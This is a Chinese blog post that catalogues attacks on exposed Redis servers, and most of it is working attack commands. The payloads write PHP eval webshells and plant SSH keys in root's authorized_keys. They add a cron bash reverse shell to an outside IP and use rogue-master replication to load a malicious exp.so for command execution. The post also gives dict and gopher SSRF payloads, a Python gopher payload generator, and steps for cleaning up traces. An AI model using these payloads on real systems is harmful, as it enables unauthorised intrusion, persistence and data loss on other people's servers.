HacKerQWQ的博客空间

redis攻防利用面总结

Word count: 2.6kReading time: 11 min
2021/04/19 Share

本文原链接:浅析Linux下Redis的攻击面,本文只做攻击面记录,搭建请看菜鸟教程或者上述文章

redis3.2.0前无密码登录且暴露6379

redis为了方便,在3.2.0版本前无密码登录对外暴露6379
20210419113938

1
2
3
4
1.docker run --name redis -p6379:6379 -d redis:3.0 
2.redis-cli x.x.x.123
3.config get requirepass
# docker部署默认都是以redis权限执行的。
  • Tips:3.2.0之后虽然增加了保护模式只允许本地访问,但是还是默认无密码

redis信息泄露

info命令泄露服务器信息,系统版本和进程id等
20210419114334
config get *获取所有配置信息
20210419114431
采用的是键值对存储的方式,这个命令只获得值,不获得键

备份文件写webshell

当redis对web目录有可写权限时,可以通过

  1. 设置备份文件位置
  2. 设置备份文件名字
  3. 设置键值对

三步来写webshell,常用payload:

1
2
3
4
5
flushall #清空缓存
set 1 '<?php eval($_GET["cmd"]);?>' #设置键值对
config set dir /var/www/html # 设置备份目录
config set dbfilename shell.php # 设置备份名字
save # 保存

但是清空缓存这个操作容易给业务造成影响,我们了解到redis服务器默认数据库有16个
20210419114938
因此可以用选取其他空数据库的操作代替flushall操作

1
2
3
4
5
select 5 # 选取空数据库
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

20210419115239
查看/tmp下的shell.php文件
20210419115319

  • Tip:如果担心选取的数据库有数据,可以使用dbsize查看数据大小
    20210419115449

写入SSH免密登录

这种场景一般用于没有web应用的服务器,即前后端分离,当要连接的服务器上的authorized_keys文件里面存在你的ssh公钥的话,可以直接免密登录
利用条件

  • 需要存在.ssh文件夹
  • 对.ssh文件夹有访问权限

操作步骤:

1
2
3
4
5
6
1. ssh-keygen -t rsa
2. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt将公钥内容加上换行符写入temp.txt
3. cat temp.txt | redis-cli -p 6379 -x set 5通过redis -x的命令行模式设置键值对
4. config set dir /root/.ssh/
5. config set dbfilename authorized_keys
6. save

尝试连接

1
ssh root@192.168.78.129 -i id_rsa

-i用于选择认证文件
20210419143039
但是有时候认证不成功还是要密码,文章里说是需要开启/etc/ssh/sshd_config中的PubkeyAuthentication yes

CentOS写入计划任务反弹shell

Ubuntu无法利用原因:

  1. /etc/crontab,脏数据解析失败
  2. /var/spool/cron/crontabs/root,redis默认写入644非600,提示失败

CentOS下利用:

1
2
3
4
set y "\n* * * * * bash -i >& /dev/tcp/10.153.97.151/5544 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

查看定时任务执行状态:

1
tail -f vim /var/log/cron

建议在尝试ssh失败后判断是否是centos机器后使用计划任务反弹shell

低版本redis 无损写文件

RedisWriteFile

这个能实现无损写文件,如果权限够高,也可以尝试下,因为无损写文件原理主从同步,从redis2.8开始,module模块加载是从redis4.0开始的,所以在低版本的redis,或许会有一些作用,但是我遇到的环境比较少,感觉linux下作用真的不大,简单提提。

主从复制RCE

说明

这个攻击方式是LC/BC的成员Pavel Toporkov在2019年7月7日结束的WCTF2019 Final分享出来的,可以说这个技术,为redis的攻击撕开了一个全新的口子,打就是rce获取的就是redis运行的权限,比之前那些需要高权限的方法来的更加普遍和使用。

利用范围

4.x-5.x

原理

(1) 支持传输备份文件

(2)支持加载so链接库,拓展命令

第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。

第二步,我们设置备份文件名为so文件

第三步,设置传输方式为全量传输

第四步加载恶意so文件,实现任意命令执行

这里重点是实现全量传输:

全量传输是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中。

20210419151417

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

利用流程

Dliv3师傅的工具: https://github.com/Dliv3/redis-rogue-server

主动连接模式

适用于目标Redis服务处于外网的情况

外网Redis未授权访问
已知外网Redis口令
启动redis rogue server,并主动连接目标redis服务发起攻击

1
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

参数说明:

  • –rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
  • –rhost 目标redis服务IP
  • –rport 目标redis服务端口,默认为6379
  • –lhost vps的外网IP地址
  • –lport vps监控的端口,默认为21000

攻击成功之后,你会得到一个交互式shell

攻击端执行
20210419214104

被动连接模式

适用于目标Redis服务处于内网的情况

通过SSRF攻击Redis
内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server
这种情况下可以使用–server-only选项

1
python3 redis-rogue-server.py --server-only

参数说明:

  • –server-only 仅启动redis rogue server, 接受目标redis的连接,不主动发起连接

在攻击机执行命令:

1
python3 redis-rogue-server.py --server-only

20210419215102
此处显示绑定本地端口为21000

在redis机子执行如下命令:

1
2
3
4
5
6
7
8
9
10
11
config set dir ./
config set dbfilename exp.so
slaveof X.X.X.195 21000 #上面看绑定的服务段端口是21000
module load ./exp.so
slaveof no one
system.exec 'whoami'

清理痕迹
config set dbfilename dump.rdb
system.exec 'rm ./exp.so'
module unload system

设置备份,slaveof将我们的攻击机设置为主节点,然后将exp.so复制到当前目录下加载利用,完事就清理痕迹
20210419215334
成功!!!

  • Tip:经过测试,这个payload打的时候会重置所有数据库内容,所以慎用

当config不可用时可用主从复制

直接执行

1
slaveof x.x.x.x 21000

此刻观察docker里面的/data目录
20210419220044
只不过是exp.so变成了dump.rdb而已,换个名字继续

1
2
module load dump.rbd
system.exec 'whoami'

20210419220144

SSRF对redis的利用

dict和gopher协议的区别

dict协议

dict协议,字典服务器协议, A Dictionary Server Protocol
dict是基于查询响应的TCP协议。

格式:

1
dict://server:port/命令:参数

请求dict://127.0.0.1:6666/one:1
20210419221140
这里dict有个比较好的特点就是会再末尾补上\r\n

不好的是,命令多条的话,需要一条条地去执行,因为不支持传入换行,也不会对%0d%0解码。

gopher协议

互联网上使用的分布型的文件搜集获取网络协议。

支持多行输入。

使用格式:

1
gopher://serverip:port/_data

发出请求
curl gopher:///127.0.0.1:6666/_data:one%0d%0a123
20210419221451

无认证SSRF攻击

dict攻击

还是主从复制那一套,只不过方式变成了dict://协议一条条执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.连接远程主服务器
curl dict://127.0.0.1:6381/slaveof:101.200.157.195:21000
2.设置保存文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so
3.载入 exp.so
curl dict://127.0.0.1:6381/module:load:./exp.so
4.断开主从
curl dict://127.0.0.1:6381/slaveof:no:one
5.恢复原始文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:dump.rdb
6.执行命令
curl dict://127.0.0.1:6381/system.exec:'whomai'
7.删除痕迹
curl dict://127.0.0.1:6381/system.exec:rm './exp.so

gopher协议攻击

使用gopherus工具快速实现写shell:

1
2
1.git clone https://github.com/tarunkant/Gopherus.git
2.gopherus --exploit redis

20210419222059

  • 主从复制
    1
    2
    3
    4
    5
    #设置文件名,连接恶意Redis服务器
    gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit

    #加载exp.so,反弹shell
    gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

有认证的SSRF攻击

设置监听

1
tcpdump -i lo port 6379 -w redis.pcap

查看
20210419223310
这就是认证过程

1
2
3
4
5
6
7
import urllib.parse
str_ = "2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 36 0d 0a 31 32 33 31 32 33 0d 0a"
str__ = str_.split(' ')
okStr = ""
for i in str__:
okStr += "%" +i
print(okStr)

脚本模拟,得到%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%36%0d%0a%31%32%33%31%32%33%%0d%0a
直接在gopher协议的前面拼接这段验证就可以实现有验证的SSRF

通用利用脚本

文章作者还给了个利用脚本感觉不错,是用于实现有验证和无验证的主从复制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python3
# -*-coding:utf-8-*-
# author:xq17

import urllib.parse

def tranToResp(x):
xSplit = x.split(" ")
cmd=""
cmd+="*"+str(len(xSplit))
for i in xSplit:
i = i.replace("${IFS}"," ")
cmd+="\r\n"+"$"+str(len(i))+"\r\n"+ i
cmd+="\r\n"
return cmd

def GeneratePayload(ip, port):
cmd=[
"config set dir ./",
"config set dbfilename exp.so",
"slaveof {i} {p}".format(i=ip, p=port),
"module load exp.so",
"system.exec ls",
"system.exec rm${IFS}exp.so",
"quit",
]
# "system.exec bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.8.103/4607${IFS}0>&1",
payload = ""
for p in cmd:
payload += urllib.parse.quote(tranToResp(p))
return payload


def main():
# target
ip = "127.0.0.1"
port = "6383"
# server load exp.so
serverIp = "101.x.x.x"
serverPort = "21000"
authPass = "123123"
payload = GeneratePayload(serverIp, serverPort)
exitPayload = (urllib.parse.quote(tranToResp("slaveof no one") + tranToResp("quit") ))
if authPass:
print("author attack:")
pd = "gopher://{host}:{port}/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24{l}%0d%0a{p}%0d%0a"
pd = pd.format(host=ip, port=port, l=str(len(authPass)), p=authPass)
print(pd + payload)
print("clean footprint:")
print(pd + exitPayload)
else:
print("no author attack:")
pd = "gopher://{host}:{port}/_"
print(pd.format(host=ip, port=port)+payload)
print("clean footprint:")
print(pd.format(host=ip, port=port) + exitPayload)

if __name__ == '__main__':
main()

想要有验证的话更改authpass就好

redis触发反序列化

这种场景主要是redis里面存储的内容,最终会被程序反序列化,从而导致触发处反序列化漏洞。
题目来源:https://mp.weixin.qq.com/s/kfYF157ux_VAOymU5l5RFA

CATALOG
  1. 1. redis3.2.0前无密码登录且暴露6379
  2. 2. redis信息泄露
  3. 3. 备份文件写webshell
  4. 4. 写入SSH免密登录
  5. 5. CentOS写入计划任务反弹shell
  6. 6. 低版本redis 无损写文件
  7. 7. 主从复制RCE
    1. 7.1. 说明
    2. 7.2. 利用范围
    3. 7.3. 原理
    4. 7.4. 利用流程
      1. 7.4.1. 主动连接模式
      2. 7.4.2. 被动连接模式
    5. 7.5. 当config不可用时可用主从复制
  8. 8. SSRF对redis的利用
    1. 8.1. dict和gopher协议的区别
      1. 8.1.1. dict协议
      2. 8.1.2. gopher协议
    2. 8.2. 无认证SSRF攻击
      1. 8.2.1. dict攻击
      2. 8.2.2. gopher协议攻击
    3. 8.3. 有认证的SSRF攻击
    4. 8.4. 通用利用脚本
  9. 9. redis触发反序列化